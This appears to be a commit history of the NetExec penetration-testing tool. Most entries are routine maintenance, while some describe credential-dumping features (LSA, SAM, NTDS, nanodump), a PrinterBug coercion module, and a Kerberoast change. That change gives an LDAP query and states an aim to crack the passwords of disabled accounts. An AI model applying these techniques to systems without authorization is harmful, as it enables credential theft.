Marshall Hallenbeck eab93ca3ee fix(wcc.py): properly escape for #200
Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-03-14 16:03:31 -04:00
Alex 31aff31469 Merge pull request #41 from Shad0wC0ntr0ller/Obsolete
Extract obsolete operating systems from LDAP
2024-03-14 01:21:46 +01:00
Alexander Neff 30cab48d9b Changed manual path to nxc default path 2024-03-14 01:19:13 +01:00
Alex 632395f4d3 Merge branch 'main' into Obsolete 2024-03-14 01:13:30 +01:00
Alex cf8b2c05c0 Merge branch 'main' into main 2024-03-14 00:57:22 +01:00
Alexander Neff 64f3692624 Removing unused request options which throw an exception 2024-03-14 00:55:50 +01:00
Alexander Neff 24b00d9992 Formating 2024-03-14 00:55:25 +01:00
Alexander Neff 183d2b9dce Updated logging to use context logger and changed description 2024-03-14 00:44:47 +01:00
Marshall Hallenbeck 840446d810 Merge pull request #204 from Pennyw0rth/marshall-issue-200
Fix string escaping issues for Kali package, fix some logging, and allow for lsa and sam WinRM dumping
2024-03-13 15:21:12 -04:00
Marshall Hallenbeck d271d00eec fix(winrm): allow for --lsa and --sam at the same time, like smb allows 2024-03-13 13:02:50 -04:00
Marshall Hallenbeck 2efef82662 fix(escaping): update remaining string escaping issues for #200 2024-03-13 13:02:28 -04:00
Marshall Hallenbeck 48242de675 Merge branch 'main' into marshall-issue-200 2024-03-13 12:58:00 -04:00
Marshall Hallenbeck d11af2a296 fix(runasppl) set command string to raw and change error to debug as it is unnecessary and spammy 2024-03-13 12:50:33 -04:00
Alex 1708889721 Merge pull request #202 from Pennyw0rth/neff-update-neo4j 2024-03-13 11:00:56 +01:00
Alexander Neff 07050e153c Resolve conflicts 2024-03-12 23:22:00 +01:00
Alexander Neff bf1ab5bd76 Update neo4j python driver 2024-03-12 23:09:42 +01:00
Marshall Hallenbeck 5a1e139d85 fix: extra escape in string 2024-03-12 16:38:58 -04:00
Marshall Hallenbeck ec31181c3a fix: set string to raw 2024-03-12 16:37:03 -04:00
Marshall Hallenbeck 34db1985f3 change regex string to raw, but this module doesnt even work for checking for pws 2024-03-12 16:35:18 -04:00
Marshall Hallenbeck 2d68c179b8 fix: string formatting and improved logging for daclread 2024-03-12 15:23:08 -04:00
Marshall Hallenbeck f91cccf49e fix: string formatting for #200 2024-03-12 15:22:06 -04:00
Kahvi-0xFF 68c197d471 Improve Kerberoast Module
On a test where --kerberoast would not return a ticket for a user I knew was kerberoastable. After some digging I changed the LDAP query in ldap.py to be just "(&(servicePrincipalName=*)(!(objectCategory=computer)))". This removes the check for accounts locked out/inactive and this returned the ticket I was able to see with powerview. 

Personally would still like to get tickets for users that are disabled/locked out in order to attempt to crack their password and see if the password is reused. 

I also changed the error for Bypassing disabled account {sAMAccountName} to be highlight as I thought this is nice to have.

Signed-off-by: Kahvi-0xFF <[email protected]>
2024-03-12 12:53:23 -04:00
Shad0wC0ntr0ller 56ef949c92 Update obsolete.py
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 855bc89a2f Update obsolete.py
change ' to "

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 018cc98ed3 Update obsolete.py
Add pwdLastSet

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller d99ddaaaec Update obsolete.py
Added Server 2012 to the vuln list

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 2c637eead7 Update obsolete.py
change cme to nxc

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 87fce318de Update obsolete.py
Updated separator in output 

Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Shad0wC0ntr0ller 68b2f01979 Extract obsolete operating systems from LDAP
Signed-off-by: Shad0wC0ntr0ller <[email protected]>
2024-03-12 12:52:08 -04:00
Marshall Hallenbeck a4cbd5bf5d Merge pull request #171 from Pennyw0rth/neff-rem-pyreadline
Remove pyreadline as it causes errors in nxcdb
2024-03-12 11:14:16 -04:00
XiaoliChan 059013a0ab [lib] update impacket
Signed-off-by: XiaoliChan <[email protected]>
2024-03-12 16:36:06 +08:00
XiaoliChan 751544806b Add e2e
Signed-off-by: XiaoliChan <[email protected]>
2024-03-12 10:42:20 +08:00
Alex 19b89633b1 Merge branch 'neff-rem-pyreadline' of https://github.com/Pennyw0rth/NetExec into neff-rem-pyreadline 2024-03-12 01:46:31 +01:00
Alexander Neff d6f1ee25ed Update lock file 2024-03-12 01:45:52 +01:00
Alexander Neff 1a703c6ab6 Merge main 2024-03-12 00:58:03 +01:00
XiaoliChan 9b8b2e99ec Update kdchost description
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 18:32:03 +08:00
XiaoliChan 548a5e9228 Update impacket
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 18:26:40 +08:00
XiaoliChan fc9bf7f4e5 [LDAP] Fix logic with no-smb
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 14:51:35 +08:00
XiaoliChan 5efa1ef7f0 [LDAP] Fix logic with no-smb
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 14:40:17 +08:00
XiaoliChan 48be975341 [DNS] Clean SMB
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:46:14 +08:00
XiaoliChan 218518dbb6 [DNS] Clean SMB
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:19:48 +08:00
XiaoliChan 35d3a3d3c1 [DNS] Fix mssql
Signed-off-by: XiaoliChan <[email protected]>

[DNS] Fix mssql

Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 12:03:22 +08:00
XiaoliChan 3dcca25081 Merge remote-tracking branch 'upstream/main' into dns 2024-03-10 09:56:04 +08:00
XiaoliChan 9131e5cf9b Ruff
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 09:55:50 +08:00
XiaoliChan 2b75ed6784 [DNS] Fix RDP & ldap-checker
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 09:44:05 +08:00
Marshall Hallenbeck 3f31b2e231 Merge pull request #190 from Pennyw0rth/mpgn-patch-2
Update connection.py to force login
2024-03-09 12:34:28 -05:00
XiaoliChan 233136ae3e clean up
Signed-off-by: XiaoliChan <[email protected]>
2024-03-10 00:48:38 +08:00
XiaoliChan 55a4486dbe [mmcexec] avoid kerberos auth
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 22:56:39 +08:00
XiaoliChan 43576de135 [DNS] fix dcom
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 22:43:58 +08:00
XiaoliChan b42a7f17f5 [wmi] fix rdp
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 21:40:59 +08:00
XiaoliChan 30dd0cec91 Update impacket version
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 20:56:34 +08:00
XiaoliChan 5fd9e9b9a3 [DNS] Fix mssql
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 18:37:33 +08:00
mpgn 8215eaa27a Update connection.py
Signed-off-by: mpgn <[email protected]>
2024-03-09 01:52:50 -05:00
XiaoliChan 11600f7767 [DNS] Fix wmi
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 184551ee30 [DNS] Fix module with kerberos
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 1f4dcdc4e9 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan cd5f8e7e47 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan 3cf689c7f8 [DNS] Add remoteHost variable
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
XiaoliChan ee6b74bbb8 [DNS] Ready for kdcHost
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
mpgn 8010f10552 fix ruff check 2024-03-09 01:52:16 -05:00
mpgn 05430a679e Set info as info 2024-03-09 01:52:16 -05:00
mpgn 30e9f0f153 Add ldap destination IP to be compatible with dns resolution 2024-03-09 01:52:16 -05:00
XiaoliChan 5fe1d988ea [DNS] Add DNS args
Signed-off-by: XiaoliChan <[email protected]>
2024-03-09 01:52:16 -05:00
Marshall Hallenbeck d9e46dbb1f Merge pull request #136 from XiaoliChan/mssql-improv
[MSSQL] Improvement
2024-03-09 01:52:00 -05:00
XiaoliChan 9120d1d5dc [mssql] mpgn: review
Signed-off-by: XiaoliChan <[email protected]>
2024-03-04 21:24:37 +08:00
XiaoliChan 7d9ddfb1d6 Merge branch 'main' into mssql-improv 2024-03-03 20:07:00 +08:00
Alex 31b2a1f458 Merge pull request #191 from XiaoliChan/ntlm_parser
[lib] Improve ntlm_parser.py
2024-03-03 07:03:34 -05:00
Alex d6952025aa Merge pull request #193 from Pennyw0rth/Marshall-Hallenbeck-patch-1
Update README.md
2024-03-03 06:55:53 -05:00
Marshall Hallenbeck 88769b1b0d Update README.md
add Linux installation directly to README
fix french->english :P

Signed-off-by: Marshall Hallenbeck <[email protected]>
2024-03-02 20:47:39 -05:00
zblurx ac2a56ef46 fix ldap-checker module 2024-02-29 16:36:53 +01:00
XiaoliChan 4a085781cf [mssql] Ready for PR #191
Signed-off-by: XiaoliChan <[email protected]>
2024-02-29 13:37:04 +08:00
XiaoliChan 423b70bcfb [lib] Improve ntlm_parser.py
Signed-off-by: XiaoliChan <[email protected]>
2024-02-29 13:26:00 +08:00
Alex 0d1c8bcdef Remove pyreadline as it causes errors in nxcdb 2024-02-28 12:49:37 -05:00
XiaoliChan 3af5186960 [mssql] remove drop mssql-ntlm-parser.py
Signed-off-by: XiaoliChan <[email protected]>
2024-02-28 12:47:56 +08:00
XiaoliChan 387538a979 Merge branch 'main' into mssql-improv 2024-02-28 09:14:02 +08:00
Alex ac60614474 Merge pull request #172 from XiaoliChan/winrm-ntlm-info
[winrm] say goodbye to SMB
2024-02-27 19:00:06 -05:00
Alexander Neff 9f0ac2cf90 Added fallback if build version is not available (yet) 2024-02-28 00:55:29 +01:00
XiaoliChan 1d1c03be7a [winrm] better os info
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 18:40:59 -05:00
Alexander Neff 7e0c0e0c07 Formating 2024-02-27 18:40:59 -05:00
Alexander Neff 1e12cadb33 Removed unused conditional function, removed "NT" from windows version so it matches SMB enumeration 2024-02-27 18:40:59 -05:00
XiaoliChan 19ee066542 [winrm] Ruff
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 18:40:59 -05:00
XiaoliChan 217cf21cff [winrm] Clean args.py
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 18:40:59 -05:00
XiaoliChan 9ceab247a8 [winrm] say goodbye to SMB
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 18:40:59 -05:00
Josh 7a46f9eb64 Update enum_ca.py
Signed-off-by: Josh <[email protected]>
2024-02-27 17:58:23 +01:00
Alexander Neff 97af55337c Added proposal by Dfte and formating 2024-02-27 17:58:23 +01:00
Josh bf61e93466 Update enum_ca.py
Updated as requested

Signed-off-by: Josh <[email protected]>
2024-02-27 17:58:23 +01:00
Josh b20f6e199d Update enum_ca.py
removed newline on line 1

Signed-off-by: Josh <[email protected]>
2024-02-27 17:58:23 +01:00
Josh a6fbdbff2b linted
ran through ruff
2024-02-27 17:58:23 +01:00
Josh c0ac682722 New Module
added anonymous ADCS CA enumeration module
2024-02-27 17:58:23 +01:00
Marshall Hallenbeck 6454ee7467 Merge pull request #186 from Pennyw0rth/neff-audit-mode
Fix audit_mode in ldap
2024-02-27 11:25:46 -05:00
Alexander Neff b7df87c7f7 Fix audit_mode in ldap 2024-02-27 11:23:45 -05:00
XiaoliChan 2a497f4965 Merge branch 'main' into mssql-improv 2024-02-27 17:56:33 +08:00
Alex 71ed38276a Merge pull request #187 from Pennyw0rth/neff-update-impacket
Update impacket dependency to pull latest changes
2024-02-27 04:40:50 -05:00
Alexander Neff 26c35b3811 Update impacket dependency to pull latest changes 2024-02-27 10:33:11 +01:00
XiaoliChan b8912b5166 [nanodump] Bug fixed
Signed-off-by: XiaoliChan <[email protected]>
2024-02-27 16:09:04 +08:00
XiaoliChan 1454b265ae Merge branch 'main' into mssql-improv 2024-02-27 14:12:46 +08:00
Hakan Yavuz 7909477ef7 Update printerbug.py
fix linter

Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Hakan Yavuz 2feece33e6 Update printerbug.py
Fix linter

Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Hakan Yavuz fddcf67a65 Update printerbug.py
Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Hakan Yavuz e422a17080 Update printerbug.py
Fix trigger

Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Hakan Yavuz 188f909e64 Create printerbug.py
Add MS-RPRN abuse (PrinterBug)

Signed-off-by: Hakan Yavuz <[email protected]>
2024-02-26 22:28:48 +01:00
Marshall Hallenbeck a70baec753 Merge pull request #173 from Dfte/main
Update ntlmv1.py
2024-02-26 10:23:40 -05:00
Marshall Hallenbeck 56338d28f8 Merge branch 'main' into main 2024-02-26 10:22:34 -05:00
XiaoliChan 666a81713a Merge branch 'main' into mssql-improv 2024-02-26 16:29:27 +08:00
Marshall Hallenbeck 49ca92d1f1 Merge pull request #176 from Pennyw0rth/neff-error-handling
Add error handling for protocol level
2024-02-22 16:56:40 -05:00
Marshall Hallenbeck 3c39b94ee8 Merge branch 'main' into neff-error-handling 2024-02-21 13:45:20 -05:00
Marshall Hallenbeck a69f3e737a Merge pull request #185 from Pennyw0rth/neff-fix-rrp
Remove unnecessary remote ops check
2024-02-21 13:43:54 -05:00
Marshall Hallenbeck b19b8884ad Merge branch 'main' into neff-fix-rrp 2024-02-21 13:23:31 -05:00
Alexander Neff 16c0237245 Impacket already checks if remote_ops is running, we don't need it in here
Besides that, it intruduces a bug where nxc think rrp is enabled, but we closed it before without setting the self.remote_ops variable to None. This leads to sometimes crashing in lsa/sam dump if the service wasnt started originally.
2024-02-21 19:11:09 +01:00
Alex 72ef88a8f1 Merge branch 'main' into neff-error-handling 2024-02-21 17:27:02 +01:00
Alex 5b32cd8cf5 Merge pull request #183 from Pennyw0rth/neff-fix-share-privs
Write without delete will now be displayed as write access
2024-02-18 12:23:08 +01:00
Alex c16aa4cd9f Add share name in debug info for write check 2024-02-18 11:48:28 +01:00
Alexander Neff 7d99d519e5 Write without delete will now be displayed as write access 2024-02-18 01:04:37 +01:00
Alex fe179b006a Merge pull request #179 from Pennyw0rth/neff-audit-mode
Allow a single word as audit mode "character"
2024-02-14 15:19:03 +01:00
Alexander Neff 3d9cbca7a8 Allow a whole word as audit mode character 2024-02-14 15:06:41 +01:00
Alex ae121c566a Merge pull request #123 from Pennyw0rth/nxcdb-marshall
nxcdb: refactor shared database/workspace setup code & allow for creation/setting of workspaces outside of nxcdb interactive console
2024-02-12 19:25:56 +01:00
Alex f76fb16311 Merge branch 'main' into nxcdb-marshall 2024-02-12 18:54:53 +01:00
Alexander Neff 0442376287 Add error handling for protocol level 2024-02-09 14:29:39 +01:00
Deft_ d6dae9c605 Update ntlmv1.py
Update the module as it was not working anymore and the values were not accurate 

Signed-off-by: Deft_ <[email protected]>
2024-02-08 11:54:08 +01:00
XiaoliChan 1e2e4adda4 Merge remote-tracking branch 'upstream/main' into mssql-improv 2024-02-07 23:34:57 +08:00
Alex a39f71ebbc Remove pyreadline as it causes errors in nxcdb 2024-02-06 11:28:32 +01:00
Marshall Hallenbeck 1645f672d3 Merge pull request #169 from fpreynaud/check_renames
[WCC] Make check names more explicit
2024-02-02 14:46:52 -05:00
François REYNAUD 1c822aae38 [WCC] Make check names more explicit 2024-02-02 16:48:33 +01:00
Marshall Hallenbeck 3c11b71ca6 Merge pull request #167 from Pennyw0rth/neff-deps
Hotfix: Allow broader version for argcomplete to fix macos installations
2024-02-02 10:45:17 -05:00
Alexander Neff 9696fe4c9a Allow broader version for argcomplete to fix macos installations 2024-01-29 14:53:46 +01:00
Marshall Hallenbeck c2e9fcc545 Merge branch 'main' into nxcdb-marshall 2024-01-22 16:52:28 -05:00
Marshall Hallenbeck 275bc41477 fix(database): only attempt to initialize default workspace if it doesnt exist 2024-01-22 16:52:18 -05:00
Marshall Hallenbeck 06ccf5eeec Merge pull request #153 from Pennyw0rth/neff-space-in-username
Fix usernames with empty spaces in ntds dump
2024-01-22 16:15:24 -05:00
Marshall Hallenbeck a94a1b27ea Merge branch 'main' into neff-space-in-username 2024-01-22 15:50:24 -05:00
Marshall Hallenbeck f058c2ddf7 Merge pull request #139 from Pennyw0rth/neff-asyncio
Surpress any errors when using rdp and broken python version
2024-01-22 15:50:00 -05:00
Marshall Hallenbeck d4f4c7c4a2 Merge branch 'main' into neff-asyncio 2024-01-22 15:30:03 -05:00
Marshall Hallenbeck f46c5eae17 Merge pull request #135 from Pennyw0rth/neff-win-firefox
Fix issue #134 with tempfile on windows
2024-01-22 15:27:29 -05:00
Marshall Hallenbeck d84eb7ed96 Merge branch 'main' into neff-win-firefox 2024-01-22 14:42:42 -05:00
Marshall Hallenbeck 6abdf079e6 Merge branch 'main' into nxcdb-marshall 2024-01-18 20:36:22 -05:00
Alex 9df72e2f68 Merge pull request #162 from thiagokokada/fix-some-issues-in-deps
Fix some issues in deps
2024-01-15 23:06:03 +01:00
Thiago Kenji Okada 1f8a948966 Set pyreadline for Win32 only 2024-01-14 17:57:18 +00:00
Thiago Kenji Okada 50962312a2 Move ruff to dev dependency 2024-01-14 17:54:07 +00:00
Thiago Kenji Okada b3a5c300b5 Remove resource
Introduced in 483dc69a2a, it points to
https://github.com/RussellLuo/resource, an unmaintained library.
However, it is clear in the code that this should have been resource
from stdlib instead (https://docs.python.org/3/library/resource.html),
and needs not to be included in `pyproject.toml`.
2024-01-14 17:51:30 +00:00
Alex 5f29e661b7 Merge pull request #155 from Pennyw0rth/neff-fix-modules-windows 2023-12-24 22:56:57 +01:00
Alexander Neff 5809a1470a Fixing module name check with windows backspace path 2023-12-24 22:16:27 +01:00
Alex dcbb01a39e Merge pull request #148 from Adamkadaban/argcomplete-completion
add argcomplete bash/zsh completion
2023-12-24 14:20:28 +01:00
Alexander Neff db2936db98 Update python version in readme 2023-12-24 14:16:11 +01:00
Alexander Neff a70f3e6ae3 Merge main into argcomplete 2023-12-24 13:41:05 +01:00
Alex 6115185d75 Merge pull request #132 from Pennyw0rth/neff-encode-errors 2023-12-23 17:23:04 +01:00
Alex 82e8c17e5d Merge pull request #130 from Pennyw0rth/binaries-neff 2023-12-23 17:22:53 +01:00
Alexander Neff 02bdbef712 Fix host domain display output when specifying domain in smb 2023-12-23 16:46:34 +01:00
Alexander Neff 303a051003 Fix host domain display output when specifying domain in ldap 2023-12-23 16:18:20 +01:00
Alex 5e964bb0eb Merge pull request #150 from Pennyw0rth/neff-enum_trusts
Remove domain DN from ldap query, fixes #144
2023-12-23 15:48:53 +01:00
Alex 2732987a6a Merge pull request #141 from Pennyw0rth/neff-laps 2023-12-22 18:20:51 +01:00
Alexander Neff 694f6a0984 Fix usernames with empty spaces in ntds dump 2023-12-22 17:42:58 +01:00
Alexander Neff 3dcd24869d Allow ldap connection with no smb and without domain 2023-12-22 17:10:07 +01:00
Alexander Neff 14391af612 Remove domain DN from ldap query, fixes #144 2023-12-18 01:48:50 +01:00
Alexander Neff 85b53868f2 Improve import 2023-12-17 19:40:53 +01:00
Alex 235d9e049f Merge branch 'main' into neff-encode-errors 2023-12-17 19:36:04 +01:00
Alexander Neff 5900029c4f Resetting lock file 2023-12-17 19:34:55 +01:00
Alex 7fb2a0f94c Merge branch 'main' into argcomplete-completion 2023-12-17 18:47:25 +01:00
Alex 8899c003c8 Merge pull request #133 from Syzik/ModulesEnumeration
Modules enumeration ldap
2023-12-17 13:15:43 +01:00
Alexander Neff b9a3f8f22f Resetting lock file 2023-12-16 18:59:53 +01:00
Alex c1d253800b Merge branch 'main' into ModulesEnumeration 2023-12-16 18:42:25 +01:00
Alexander Neff 67cb940775 Rename module filenames to match module name 2023-12-16 15:48:17 +01:00
Alexander Neff f82bd95442 Add argcomplete support for modules 2023-12-16 15:40:56 +01:00
Alexander Neff b18a5a770c Fix argcomplete version and drop python 3.7 support 2023-12-16 15:39:50 +01:00
Adamkadaban edfa64b5e9 add argcomplete bash/zsh completion 2023-12-16 05:47:03 -05:00
Alex ef4f2df92c Merge pull request #146 from 0xlazY/iis_quote_fix
Fix: iis module cmd exec quotes
2023-12-15 23:54:46 +01:00
Marshall Hallenbeck e90502d9da Merge branch 'main' into nxcdb-marshall 2023-12-14 15:22:05 -05:00
0xlazy a347fcc208 Fix: iis module cmd exec quotes 2023-12-13 15:01:47 +01:00
XiaoliChan ae5d57a75d [mssql] ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-12-13 00:45:02 +08:00
XiaoliChan d6eb6c205a [mssql] add is_mssql check
Signed-off-by: XiaoliChan <[email protected]>
2023-12-13 00:40:12 +08:00
XiaoliChan b4ae46f65d [mssql] bug fix
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 17:32:24 +08:00
XiaoliChan 2c174369ba [mssql] less code
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 93f3bccd7b [mssql] fix ccache
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 8a5d77b1d7 [mssql] fix kerb_pass
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 86ebce4722 [mssql] self review
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 4a18e2f452 [mssql] Bringing up timeout argument
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 9a6a37152f [mssql] ruff
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan f7078bb76b [mssql] more linebreak
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan dd78e22938 [mssql] move outputBuffer
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan cbdf87a4d8 [mssql] bye bye '--no-smb'
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan cf91a11453 [mssql] self review
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan aade033254 [mssql] fix wrong things and add brackets
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 750d35e747 [mssql] revert pyproject.toml
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 6f1bcaaf46 [mssql] Enhance the error message
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
XiaoliChan 9e01b97694 [mssql] bye bye SMB :)
Signed-off-by: XiaoliChan <[email protected]>
2023-12-12 15:48:54 +08:00
Alex 6c9afa37b7 Merge branch 'main' into binaries-neff 2023-12-11 08:24:13 +01:00
Alexander Neff cc1d90ca2a Merge main into neff-laps 2023-12-10 16:12:58 +01:00
Alex 4846464cd0 Merge pull request #114 from XiaoliChan/winrm-better-output
[winrm] better output
2023-12-10 16:03:08 +01:00
Alexander Neff afd568cf94 Fix correct protocol and port display output 2023-12-10 15:59:34 +01:00
Alex d4b3ace3a6 Merge branch 'main' into winrm-better-output 2023-12-09 20:34:05 +01:00
Alexander Neff f8982a8d65 Move detailed information to info logging output 2023-12-09 18:53:46 +01:00
Syzik 847f8c43a4 Merge branch 'main' into ModulesEnumeration 2023-12-09 03:40:57 +01:00
Alexander Neff 940f81dec4 Remove old laps checks 2023-12-09 01:19:55 +01:00
Alexander Neff 2793895b6e Fix hash and domain handling laps 2023-12-09 01:10:03 +01:00
Alexander Neff 14aedea969 Fix laps return values 2023-12-09 00:58:19 +01:00
Alexander Neff a7d780ebe4 Remove unused imports 2023-12-09 00:52:54 +01:00
Alexander Neff 89d4567a81 Enable logging from outside of modules 2023-12-09 00:52:27 +01:00
Alexander Neff 92273306ac Move laps login logic to connection.py 2023-12-09 00:52:00 +01:00
Marshall Hallenbeck 046b1f9113 Merge pull request #140 from Pennyw0rth/neff-wcc
Fix array index
2023-12-08 09:22:05 -05:00
Alexander Neff a8a810d32b Fix array index 2023-12-08 12:51:01 +01:00
syzik b2b56cd562 Module Description Fix (NeffIsBack) 2023-12-08 05:15:58 +01:00
Alex 76836dcc9c Merge pull request #137 from fpreynaud/bugfix
Fix bug in WCC module
2023-12-08 01:08:12 +01:00
Alexander Neff 5c87c27f7e Fix ruff 2023-12-08 00:55:40 +01:00
Alexander Neff bc0ebf7169 Only surpress errors when using rdp not always 2023-12-07 22:09:03 +01:00
Alexander Neff 5daa3ecc7f Surpress any errors when using rdp and broken python version 2023-12-07 22:01:56 +01:00
François REYNAUD 313d795871 Fix bug introduced by commit bfd32f1910 2023-12-07 18:05:55 +01:00
Alexander Neff 796e49e86b Add exception handling 2023-12-04 16:15:27 +01:00
Alexander Neff da603def02 Fix issue #134 which occurs on windows 2023-12-04 16:07:56 +01:00
Alex 3a2b3938c6 Properly fix rdp and winrm 2023-12-01 16:08:46 +01:00
syzik 476e35c47c ldap modules 2023-11-30 22:42:17 +01:00
syzik fee9d24e64 ldap modules 2023-11-30 22:35:23 +01:00
Alex 549f428faf Fix dependencies for binary building 2023-11-30 19:20:41 +01:00
Alexander Neff 03b88843fa Updating dependencies for latest impacket changes and removing deprecated encodeerror check 2023-11-30 17:08:49 +01:00
Alexander Neff 4c7a9337b9 Fix missing aardwolf import in binary 2023-11-30 14:29:51 +01:00
Alexander Neff e3b0e4556e Rename pipelines 2023-11-30 07:34:54 -05:00
Alexander Neff be5ce876e3 Add pyvenv config to gitignore 2023-11-30 07:34:10 -05:00
XiaoliChan 88e229a325 Merge remote-tracking branch 'upstream/main' into winrm-better-output 2023-11-29 15:12:04 +08:00
Marshall Hallenbeck 388208d4ea Merge pull request #128 from termanix/AddNewLdapFlagActiveUsers
Add New Ldap Flag --active-users
2023-11-28 11:49:55 -05:00
termanix d29bb7cf18 Update ldap.py
Try to fix Ruff error

Signed-off-by: termanix <[email protected]>
2023-11-28 19:00:44 +03:00
termanix 5ca86fc1d7 Add New Ldap Flag Listing Active Domain Users 2023-11-28 13:40:57 +03:00
XiaoliChan bbbb61a5e1 Merge remote-tracking branch 'upstream/main' into winrm-better-output 2023-11-28 14:25:54 +08:00
Marshall Hallenbeck 7fa783a09d Merge branch 'main' into nxcdb-marshall 2023-11-25 22:46:08 -05:00
Marshall Hallenbeck a6be6c1b07 Merge pull request #121 from Pennyw0rth/ms17-010-error-handling
Ms17 010 error handling
2023-11-25 22:45:29 -05:00
Alexander Neff b59246da68 Replace old WS_PATH variable 2023-11-24 19:59:58 -05:00
Alexander Neff e48a02d7d8 Switch command line short form to match syntax 2023-11-24 19:58:49 -05:00
Alexander Neff 7c3e9a22da Cli command now lists all workspaces and changed workspaces output to match git style 2023-11-24 19:55:16 -05:00
Alexander Neff f08b58de8a Add cli option to get current workspace 2023-11-24 19:42:24 -05:00
Marshall Hallenbeck e02fabc6b4 ruff: remove unused import 2023-11-17 22:56:32 -05:00
Marshall Hallenbeck d0c996fc05 feat(nxcdb): add functionality to create and set workspaces without entering interactive console 2023-11-17 22:51:43 -05:00
Marshall Hallenbeck 861626d061 refactor: deduplicate code and simplify initial db setup 2023-11-17 21:24:03 -05:00
Marshall Hallenbeck b4f3bacb99 refactor(nxcdb): move shared fdatabase functions to single file 2023-11-17 16:55:57 -05:00
XiaoliChan 3eb421ef2a Merge branch 'main' into winrm-better-output 2023-11-16 16:29:30 +08:00
Marshall Hallenbeck 29b22b56c7 Merge branch 'main' into ms17-010-error-handling 2023-11-14 10:49:58 -05:00
Marshall Hallenbeck 246cc6c0f2 Merge pull request #120 from Pennyw0rth/e2e_tests_marshall
tests: improve output of e2e tests for errors
2023-11-14 10:49:41 -05:00
Marshall Hallenbeck 9b619b86aa Revert "fix(smb errors): getErrorString only returns one item, not a tuple; fixes #117"
This reverts commit 1784d55bae.
2023-11-13 13:42:45 -05:00
Marshall Hallenbeck 761cf715d0 fix(ms17-010): better error handling to catch invalid SMB responses wduring check 2023-11-13 12:47:28 -05:00
Marshall Hallenbeck 1784d55bae fix(smb errors): getErrorString only returns one item, not a tuple; fixes #117 2023-11-13 12:34:45 -05:00
Marshall Hallenbeck c6b8905406 tests: improve output of e2e tests for errors by not coloring the entire output red and printing command before running 2023-11-13 12:17:04 -05:00
Marshall Hallenbeck fd5d37eb13 Merge branch 'main' into winrm-better-output 2023-11-13 10:17:52 -05:00
Alexander Neff 57e31aef07 Extract laps_search from smb and winrm to /protocols/ldap/laps 2023-11-11 17:31:37 -05:00
XiaoliChan 76f23d422d [winrm] better output
Signed-off-by: XiaoliChan <[email protected]>
2023-11-11 21:20:00 +08:00
sandw1ch c6e5fdb205 use fstring, delete testing comment
Signed-off-by: sandw1ch <[email protected]>
2023-10-24 13:00:22 -05:00
mpgn 5e282156bb Fix ldap query over 1000 results 2023-10-19 15:30:00 -04:00
sandw1ch 0b7756f3f6 Merge branch 'develop' into main
Signed-off-by: sandw1ch <[email protected]>
2023-10-12 16:11:23 -05:00
sandw1ch 50f2e5d1c1 sed "s/'/\"/g"
